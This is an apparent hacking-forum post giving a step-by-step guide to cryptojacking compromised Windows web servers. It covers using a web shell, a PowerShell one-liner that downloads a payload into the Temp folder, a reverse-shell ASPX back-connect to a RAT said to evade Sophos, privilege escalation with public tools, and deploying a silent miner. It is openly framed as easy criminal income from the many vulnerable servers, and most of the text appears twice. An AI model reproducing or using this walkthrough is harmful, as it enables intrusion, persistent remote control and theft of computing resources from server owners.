Aug 26, 2022 07:11 AM
(This post was last modified: Aug 26, 2022 07:29 AM by hydra11.)
hello HF this method i going to explain most profitable method in mining for me considering the investment i have made ( 0 dollars ), so today i will explain how you can build a mining slave from web shell, for this you must need 3 things
1. windows server web shell ( a functioning web shell on a vulnerable windows server )
2. a loader ( bot net or rat here i use 888 rat because its inbuilt autocrypt bypass sophos endpoint )
3. a silent miner ( you can use private or opensource miner its up to you )
phase:1
after getting web shell you must check for shell command execution permissions, in this case i got unlucky which have very low or null permission to execute command on system level, but it supports simple dir other simple system functions
![[Image: Screenshot-from-2022-08-26-15-38-42.png]](https://i.ibb.co/ftKQB43/Screenshot-from-2022-08-26-15-38-42.png)
after checking for some time i find out powershell is functioning
![[Image: Screenshot-from-2022-08-26-16-21-20.png]](https://i.ibb.co/x6nV3yB/Screenshot-from-2022-08-26-16-21-20.png)
also i got little lucky it supports powershell one-liner so my next step is building a powershell one liner that can download my payload on location i like
by this i was able to bypass the write permission restriction on web server and loaded my exe in to temp folder, next step is executing my payload
hence my payload is bypassing current endpoint i used reverse shell aspx to build a back connect and execute payload form there
![[Image: Screenshot-from-2022-08-26-15-55-26.png]](https://i.ibb.co/c6R44Yr/Screenshot-from-2022-08-26-15-55-26.png)
which helps me to send the web server to my rat ( you can also use bot for this, i am using 888 rat for now )
phase 2:
now we have a slave in our server next thing we have to do escalate the privilege and then run our miner
![[Image: Screenshot-from-2022-08-26-16-00-03.png]](https://i.ibb.co/HFFZQkB/Screenshot-from-2022-08-26-16-00-03.png)
for local privilege escalation am using priv check from GitHub
https://github.com/itm4n/PrivescCheck
if you want you can use other tools or exploits like dirty potato or sharpsploit
once i power up my implant next set up is running my miner
you can execute your running miner using your bot or rat download and execute function, once everything is done correct, on your miner dashboard you can see the mining hashes
![[Image: Screenshot-from-2022-08-26-16-05-49.png]](https://i.ibb.co/cxQNbQp/Screenshot-from-2022-08-26-16-05-49.png)
yes this hashes not even come close to a gaming rig slave but this webs server slave is more reliable than a gaming rig slave because once cheat or what ever spreading method used stop working they may reset pc you loose your high investment, in other hand web server will stay online 365x24 and there is tons of vulnerable servers out there if you determined and have enough time its easy to make money as side job
1. windows server web shell ( a functioning web shell on a vulnerable windows server )
2. a loader ( bot net or rat here i use 888 rat because its inbuilt autocrypt bypass sophos endpoint )
3. a silent miner ( you can use private or opensource miner its up to you )
phase:1
after getting web shell you must check for shell command execution permissions, in this case i got unlucky which have very low or null permission to execute command on system level, but it supports simple dir other simple system functions
![[Image: Screenshot-from-2022-08-26-15-38-42.png]](https://i.ibb.co/ftKQB43/Screenshot-from-2022-08-26-15-38-42.png)
after checking for some time i find out powershell is functioning
![[Image: Screenshot-from-2022-08-26-16-21-20.png]](https://i.ibb.co/x6nV3yB/Screenshot-from-2022-08-26-16-21-20.png)
also i got little lucky it supports powershell one-liner so my next step is building a powershell one liner that can download my payload on location i like
Code
(New-Object System.Net.WebClient).DownloadFile("https://example.com/archive.zip", "C:\Windows\Temp\archive.zip") by this i was able to bypass the write permission restriction on web server and loaded my exe in to temp folder, next step is executing my payload
hence my payload is bypassing current endpoint i used reverse shell aspx to build a back connect and execute payload form there
![[Image: Screenshot-from-2022-08-26-15-55-26.png]](https://i.ibb.co/c6R44Yr/Screenshot-from-2022-08-26-15-55-26.png)
which helps me to send the web server to my rat ( you can also use bot for this, i am using 888 rat for now )
phase 2:
now we have a slave in our server next thing we have to do escalate the privilege and then run our miner
![[Image: Screenshot-from-2022-08-26-16-00-03.png]](https://i.ibb.co/HFFZQkB/Screenshot-from-2022-08-26-16-00-03.png)
for local privilege escalation am using priv check from GitHub
https://github.com/itm4n/PrivescCheck
if you want you can use other tools or exploits like dirty potato or sharpsploit
once i power up my implant next set up is running my miner
you can execute your running miner using your bot or rat download and execute function, once everything is done correct, on your miner dashboard you can see the mining hashes
![[Image: Screenshot-from-2022-08-26-16-05-49.png]](https://i.ibb.co/cxQNbQp/Screenshot-from-2022-08-26-16-05-49.png)
yes this hashes not even come close to a gaming rig slave but this webs server slave is more reliable than a gaming rig slave because once cheat or what ever spreading method used stop working they may reset pc you loose your high investment, in other hand web server will stay online 365x24 and there is tons of vulnerable servers out there if you determined and have enough time its easy to make money as side job


![[Image: Motley-Crue.png]](https://i.ibb.co/2WF9Pzp/Motley-Crue.png)